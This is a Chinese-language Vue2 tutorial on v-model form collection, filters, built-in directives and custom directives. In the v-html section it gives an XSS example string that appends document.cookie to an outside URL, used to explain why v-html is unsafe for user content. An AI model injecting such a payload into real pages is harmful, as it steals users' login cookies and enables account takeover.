Vue2 —— 学习(四)

一、收集表单数据

(一)介绍

前面其实已经 学过了 v-model 双向绑定事件,能获取到表单中的内容到 vm 实例对象中

但是前面只是收集文本框,下面学习一下 各种类型表单数据收集 (单/多 选,下拉框)

(二)知识案例

下面的案例涵盖各种表单收集各种数据的情况

<body><div id="root"><form @submit.prevent="demo">账号:<input type="text" v-model.trim="userInfo.account"><br><br>密码:<input type="password" v-model="userInfo.password"><br><br>年龄:<input type="number" v-model.number="userInfo.age"><br><br>性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>爱好:学习:<input type="checkbox" value="study" v-model="userInfo.hobby">打游戏:<input type="checkbox" value="game" v-model="userInfo.hobby">吃饭:<input type="checkbox" value="eat" v-model="userInfo.hobby"><select v-model="userInfo.city"><option value="">请选择地区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br><br>其他信息:<textarea v-model.lazy="userInfo.others"></textarea><br><br><input type="checkbox" v-model="userInfo.agree"><a href="http://baidu.com">《用户协议》</a><button>提交</button></form></div><script>new Vue({el: '#root',data: {userInfo: {account: '',password: '',age: '',sex: 'female',hobby: [],city: '',others: '',agree: ''}},methods: {demo() {console.log(JSON.stringify(this.userInfo))}},})</script>
</body>

 (三)具体语法

如果 v-model 收集的是 value 值,用户输入的就是 value 值 

密码:<input type="password" v-model="userInfo.password"><br><br>

 如果 v-model 收集的是单选框中的 value 值,而且还得给标签配置 value 值 ,因为单选框不能像文本框一样输入东西,就得自己配置 value 值

男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>

如果 v-model 收集的是多选框中的数据,如果没配置 input 的 value 属性,收集到的是 checked(布尔值 是否勾选),如果配置了 value 属性 并且 v-model 的初始值是数组,那么收集的值就是value 组成的数组

学习:<input type="checkbox" value="study" v-model="userInfo.hobby">
打游戏:<input type="checkbox" value="game" v-model="userInfo.hobby">
吃饭:<input type="checkbox" value="eat" v-model="userInfo.hobby">
v-model 的三个修饰符

lazy:失去焦点再收集数据,就是不想随时更新数据,等输入完毕再更新

<textarea v-model.lazy="userInfo.others"></textarea><br><br>

number:输入字符串自动转换成数字的形式 ,因为有的数据是数字不能是字符串

年龄:<input type="number" v-model.number="userInfo.age"><br><br>

trim:输入首尾空格过滤,会将文本框中输入的首尾的空格过滤掉不会存到数据中。 

账号:<input type="text" v-model.trim="userInfo.account"><br><br>

存在 Vue 实例中的格式和命名: 

  data: {userInfo: {account: '',password: '',age: '',sex: 'female',hobby: [],city: '',others: '',agree: ''}},

二、过滤器

对要显示的数据进行特定格式化后再显示,前面是原本的内容 | 后面是处理过程,过滤器没改变原本的数据,产生新的过滤后的数据

只能用在 v-ibnd 和 插值语法中 不能用在 v-model 中

一个案例:Data.now() 把时间戳 转化成格式化后的正常的时分秒

(一)计算属性实现

引入一个时间库在 bootcdn 网站中找到适合的时间库 daysjs.min.js

<script type="text/javascript" src="../js/dayjs.min.js"></script>

用计算属性实现 在 git 官网中查看该库的正确用法 ,如下,最后能格式化的显示时间

<body><div id="root"><h2>显示格式化后的时间</h2><h3>现在是:{{fmtTime}}</h3></div><script>new Vue({el: '#root',data: {time:1621561377603},computed: {fmtTime() {return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')}}})</script>
</body>

(二)methods 实现

和用计算属性类似,直接在方法中实现 一样的返回结果即可,也得引用第三方时间库

 methods: {getFmTime(){return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')}},

(三)过滤器 实现

1.局部过滤器

只能用在被写在的 vm 实例的作用范围内的局部过滤器

基本语法

过滤器是对原有数据进行过滤 加工,前面的那个 Time 是原本我们的时间戳,后面使用空格加上一个分隔符或符号 再后面是一个空格 加上一个回调函数 单独写在 filters 对象中

<h3>现在是:{{Time | timeFormater}}</h3>

这个函数有参数,就是原本的时间 Time 下面自然要将 Time 改成 value 

 filters: {timeFormater(value) {return dayjs(value).format('YYYY-MM-DD HH:mm:ss')}}
输出具体格式

如果想只输出年月日,不输出时分秒 就把年月日的模板写在 上面方法的括号里面,看着这个函数只有一个参数,其实有两个参数,一个是 value,另一个才是我们写的模板 

<h3>现在是:{{Time | timeFormater('YYYY-MM-DD')}}</h3>

最后函数内部写法 

 filters: {timeFormater(value, str = 'YYYY-MM-DD HH:mm:ss') {return dayjs(value).format(str)}}
过滤器串联 

过滤器可以串联,前后依次执行,先解析出时间 分出我们想要的部分

<h3>现在是:{{Time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>
mySlice(value) {return value.slice(0,4)}
2.全局过滤器

所有 Vue 实例都能用的过滤器

    Vue.filters('mySlice',function(){return value.slice(0,4)})

三、内置指令

前面内置指令已经学过了很多,回顾一下

(一)v-text

1.作用

向其所在的节点(标签)中插入文本

2.语法

v-text=‘属性名’

    <div v-text="name">你好,</div>
3.特点 

但是 v-text 会替换掉节点中的内容,‘你好,’ 就消失了,{{ }}不会替换,所以最好用插值语法,比较灵活

不支持结构的解析 如果在 name 里写一个标签 '<div></div>' ,会被默认为文本内容,不会解析标签显示出来

(二)v-html

cookie 工作原理

chrome 浏览器中 cookie 流程

浏览器登录 github 输入用户名 密码 提交向 github 发送请求登录 网站

网站检验 账号密码 如果正确 跳转到首页,返回 cookie 值 类似于 json 字符串,是对我们身份的标识

浏览器拿到 cookie 然后存到 浏览器的内存中 单独存放对 github 的 cookie 红色是GitHub 的 绿色是其他网站的

点击查看所有仓库,浏览器带着 github 给我的 cookie 给github 发送请求,github 查看 cookie 确认身份,然后就不需要再登录 才能访问我的仓库了,直接就跳转到我的仓库,然后又返回一个 仓库 的cookie,浏览器拿到 继续存下 在红色的地方(有的网站一上来就把所有 cookie 都给我们了,下面那个过程可能没有返回 cookie)

有了这些 cookie 可以实现 只要用户登录过就7天免登录 因为有 cookie

 不能跨浏览器读取 cookie,在 chrome 登录淘宝第二天再进来 还是登录的状态,但是去火狐还是未登录状态,因为 cookie 存在 chrome 浏览器里

如果能拿到已登录者 的cookie 就能在任何浏览器中 将 cookie 注入,就能实现登录,身份信息很重要

str: '<a href=javascript:href="http://www.baidu.com?"+document.cookie></a>'
1.语法

v-html=‘属性名’

2.作用

向其所在的节点(标签)中插入内容 可解析标签

<body><div id="root"><div v-html="name">你好,</div></div><script>new Vue({el: '#root',data: {name: '<h3>学校</h3>'},})</script>
</body>
 3.特点

v-html 可以识别 html 结构

4.严重注意

在网站动态渲染 任意的HTML 是很危险的,容易导致 XSS 攻击(冒充用户)

只能在可信的内容上使用 v-html 不要用在用户提交的内容上,比如评论区

(三)v-cloak

1.语法

v-cloak 后面没有值

设定一个样式,未加载完毕时 就隐藏内容,完毕时删除 cloak 属性 显示数据

2.作用

js 阻塞 html 代码是按顺序加载的我们在引入外部的 js 时如果速度很慢,比如 5s 后服务器才返回结果,那么 html 就会阻塞在 外部 js 加载那里,

我们可以把 外部 js 引入放在头标签里,先等待加载完毕再显示,

但是如果我们 把 js 放在 body 下面 就会先显示 未解析的模板 {{name}} 等 5s 后才会显示数据 一个人

我们不想让用户看到这个未解析的模板 我们可以用到 v-cloak 和 css 结合就能实现,一旦 Vue 介入解析模板 v-block 就会自动删除

 <style>[cloak]{display: none;}</style>
<div><h2 v-cloak>{{name}}</h2>
</div>

(四)v-once

1.语法

v-once 直接写标签里 后面没有值

别和事件修饰符弄混了

2.作用

动态渲染就是不是写死的数据

被页面初次动态渲染后就被默认为静态内容了,就是 n 初始值为 1 设置一个按钮让 n++ 如果给标签中加入一个 v-once 指令 里面的{{n}} 在首次渲染 n=1 后就不会再变了 点击按钮也不会加一

数据改变不会引起 v-once 所在结构更新

<body><div id="root"><h2>初始化的n值:{{n}}</h2><h2>{{n}}</h2><button @click="n++">点我n+1</button></div><script>new Vue({el: '#root',data: {n:1},})</script>
</body>

(五)v-pre

1.语法

v-pre 直接写标签里 后面没有值

2.作用

跳过所在节点的百衲衣过程

可以利用它跳过没有使用指令语法插值语法的节点,会加快编译

    <h2 v-pre>我就是一段文字</h2>

四、自定义指令

(一)介绍

Vue 的操作指令就是操作原生 dom 的过程进行一次封装

就比如 v-show 就是操作 dom 中的 display 属性来控制 元素显示的

我们就能自己写操作 dom 的逻辑来设置自己的指令

(二)基本语法

得使用一个全新的配置对象 directives 就是指令的意思

 <script>new Vue({el: '#root',data: {n:1},directives:{}})</script>

(二)函数式

1.语法

写成函数的形式 有两个参数

第一个 element 是真实的 dom 元素

第二个 binding 是绑定对象 里面的属性 value 就是 v-big 等号后面绑定的数据 n

directives: {big(element, binding) {element.innerText = binding.value * 10}}

指令和元素成功绑定时会调用 就是最开始的时候

指令所在的模板被重新解析时也会被调用,不是后面的 n 变了就调用 其它元素变了也调用 只要重新解析模板就调用

(三)对象式 

1.语法

写成对象后 里面有固定的方法,不能改变名称 有固定的用处

    directives: {fbind:{}}

bind(){} 当指令和元素成功绑定时 调用

inserted(){} 指令所在元素被插入页面时 调用

update()} 指令所在模板被重新解析时 被调用

2.作用

先指令和元素绑定,然后再元素插入页面

得写成对象式才行,因为函数式有时无法完成某些操作 比如无法打开页面时先获取焦点,因为指令先和元素绑定,但是页面中还没出现 input 标签,所以不会获取焦点

  fbind: {bind(element, binding) {element.value = binding.value},inserted(element, binding) {element.focus()},update(element, binding) {element.value = binding.value}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/303406.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第十届蓝桥杯大赛个人赛省赛(软件类) CC++ 研究生组-RSA解密

先把p&#xff0c;q求出来 #include<iostream> #include<cmath> using namespace std; typedef long long ll; int main(){ll n 1001733993063167141LL, sqr sqrt(n);for(ll i 2; i < sqr; i){if(n % i 0){printf("%lld ", i);if(i * i ! n) pri…

Linux_应用篇(03) 文件 I/O 加强

经过上一章内容的学习&#xff0c;相信各位读者对 Linux 系统应用编程中的基础文件 I/O 操作有了一定的认识和理解了&#xff0c;能够独立完成一些简单地文件 I/O 编程问题&#xff0c; 如果你的工作中仅仅只是涉及到一些简单文件读写操作相关的问题&#xff0c;其实上一章的知…

玩转儿童数码摄影,儿童人像摄影指南

一、资料前言 本套儿童人像摄影&#xff0c;大小250.91M&#xff0c;共有8个文件。 二、资料目录 《爱孩子爱摄影》.pdf 《六招拍儿童》.pdf 《数码摄影工坊-儿童摄影》.pdf 《专业儿童人像摄影指南》.pdf 宝贝看镜头.pdf 儿童摄影手册.pdf 儿童摄影艺术.pdf 玩转儿童…

RUST语言值所有权之内存复制与移动

1.RUST中每个值都有一个所有者,每次只能有一个所有者 String::from函数会为字符串hello分配一块内存 内存示例如下: 在内存分配前调用s1正常输出 在分配s1给s2后调用报错 因为s1分配给s2后,s1的指向自动失效 s1被move到s2 s1自动释放 字符串克隆使用 所有整数类型,布尔类型 …

git submodule---同步最新的内容

0 Preface/Foreword 1 同步最新submodule内容到repo中 项目的repo包含了一个子模块&#xff0c;在开发过程中&#xff0c;经常需要同步子模块最新的commit到repo中。该如何操作呢&#xff1f; 本地在克隆时候&#xff0c;已经同步把子模块中的内容克隆下来了&#xff0c;但是…

第十三篇【传奇开心果系列】Python自动化办公库技术点案例示例:深度解读Python自动化操作PPT

传奇开心果博文系列 系列博文目录Python自动化办公库技术点案例示例系列 博文目录前言一、 Python自动化操作PPT能力介绍二、常用库介绍三、创建新PPT示例代码四、编辑现有PPT示例代码五、批量处理示例代码六、数据驱动生成示例代码七、合并与拆分示例代码八、母版和版式操作示…

SpringBoot整合RabbitMQ,三种交换机类型示例

SpringBoot整合RabbitMQ&#xff0c;三种交换机类型示例 1、流程概括 2、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId></dependency>3、配置RabbitMQ连接 在a…

FreeGPT3.5 开源软件

GPT-3.5不需要付费&#xff0c;也不需要注册用户&#xff0c;可以直接使用了&#xff0c;官方彻底开放了API接口。 该API政策一放开&#xff0c;GitHub很快就已经出现了一个开源项目FreeGPT35&#xff0c;可以自动生成key调用GPT3.5的API接口&#xff0c;再也用不着注册账号和申…

【服务器部署篇】Linux下安装Docker容器

作者介绍&#xff1a;本人笔名姑苏老陈&#xff0c;从事JAVA开发工作十多年了&#xff0c;带过大学刚毕业的实习生&#xff0c;也带过技术团队。最近有个朋友的表弟&#xff0c;马上要大学毕业了&#xff0c;想从事JAVA开发工作&#xff0c;但不知道从何处入手。于是&#xff0…

MySQL学习笔记------多表查询

目录 多表关系 一对多 多对多 一对一 多表查询 概述 分类 内连接&#xff08;交集&#xff09; 隐式内连接 显式内连接 ​编辑 外连接&#xff08;from后为左表&#xff0c;join后为右表&#xff09; 左外连接 右外连接 自连接 联合查询&#xff08;union&#…

经典机器学习模型(八)梯度提升树GBDT详解

经典机器学习模型(八)梯度提升树GBDT详解 Boosting、Bagging和Stacking是集成学习(Ensemble Learning)的三种主要方法。 Boosting是一族可将弱学习器提升为强学习器的算法&#xff0c;不同于Bagging、Stacking方法&#xff0c;Boosting训练过程为串联方式&#xff0c;弱学习器…

Linux 学习之路 - 进程篇 - PCB介绍1-标识符

目录 一、基础的命令 <1> ps axj 命令 <2> top 命令 <3> proc 目录 二、进程的标识符 <1>范围 <2>如何获取标识符 <3>bash进程 三、创建进程 一、基础的命令 前面介绍了那么多&#xff0c;但是我们没有观察到进程相关状态&#x…

GitHub 仓库 (repository) Pulse - Contributors - Network

GitHub 仓库 [repository] Pulse - Contributors - Network 1. Pulse2. Contributors3. NetworkReferences 1. Pulse 显示该仓库最近的活动信息。该仓库中的软件是无人问津&#xff0c;还是在火热地开发之中&#xff0c;从这里可以一目了然。 2. Contributors 显示对该仓库进…

hadoop:案例:将顾客在京东、淘宝、多点三家平台的消费金额汇总,然后先按京东消费额排序,再按淘宝消费额排序

一、原始消费数据buy.txt zhangsan 5676 2765 887 lisi 6754 3234 1232 wangwu 3214 6654 388 lisi 1123 4534 2121 zhangsan 982 3421 5566 zhangsan 1219 36 45二、实现思路&#xff1a;先通过一个MapReduce将顾客的消费金额进行汇总&#xff0c;再通过一个MapReduce来根据金…

优思学院|如何利用Minitab进行满意度分析?常犯错误不可不知!

有网友提问如何运用Minitab进行满意度分析&#xff1f;他提出了一个企业培训的例子&#xff0c;如下图所示。 就他所展示的满意度调查表格&#xff0c;他只需要就你的数据进行描述性的统计分析&#xff0c;因为数据中没有包含比较或者对比&#xff08;例如&#xff0c;满意度调…

交换机与队列的介绍

1.流程 首先先介绍一个简单的一个消息推送到接收的流程&#xff0c;提供一个简单的图 黄色的圈圈就是我们的消息推送服务&#xff0c;将消息推送到 中间方框里面也就是 rabbitMq的服务器&#xff0c;然后经过服务器里面的交换机、队列等各种关系&#xff08;后面会详细讲&…

将扁平数据转换为树形数据的方法

当遇到了好多扁平数据我们都无从下手&#xff1f;不知道如何处理&#xff1f; 家人们 无脑调用这个函数就好了 接口请求回来以后 调用这个函数传入实参就可以用啦~ // 树形菜单函数 function GetTreeData(data) {let TreeData [];let map new Map(); //存在id,对应所在的内…

人工智能数据分析Python常用库 04 matplotlib库

文章目录 一、matplotlib库的作用与环境配置1、环境配置示例2、改变绘图风格3、保存图片 二、绘制二维图形1、折线图&#xff08;1&#xff09;示例&#xff08;2&#xff09;调整线条颜色&#xff1a;&#xff08;3&#xff09;调整线条风格&#xff08;4&#xff09;调整线宽…

C语言——调试技巧

1.Debug和Release的介绍 Debug 通常称为调试版本&#xff0c;它包含调试信息&#xff0c;并且不作任何优化&#xff0c;便于程序员调试程序。Release 称为发布版本&#xff0c;它往往是进行了各种优化&#xff0c;使得程序在代码大小和运行速度上都是最优 的&#xff0c;以便用…

网页端HTML使用MQTTJs订阅RabbitMQ数据

最近在做一个公司的日志组件时有一个问题难住了我。今天问题终于解决了。由于在解决问题中&#xff0c;在网上也查了很多资料都没有一个完整的实例可以参考。所以本着无私分享的目的记录一下完整的解决过程和实例。 需求&#xff1a;做一个统一日志系统可以查看日志列表和一个可…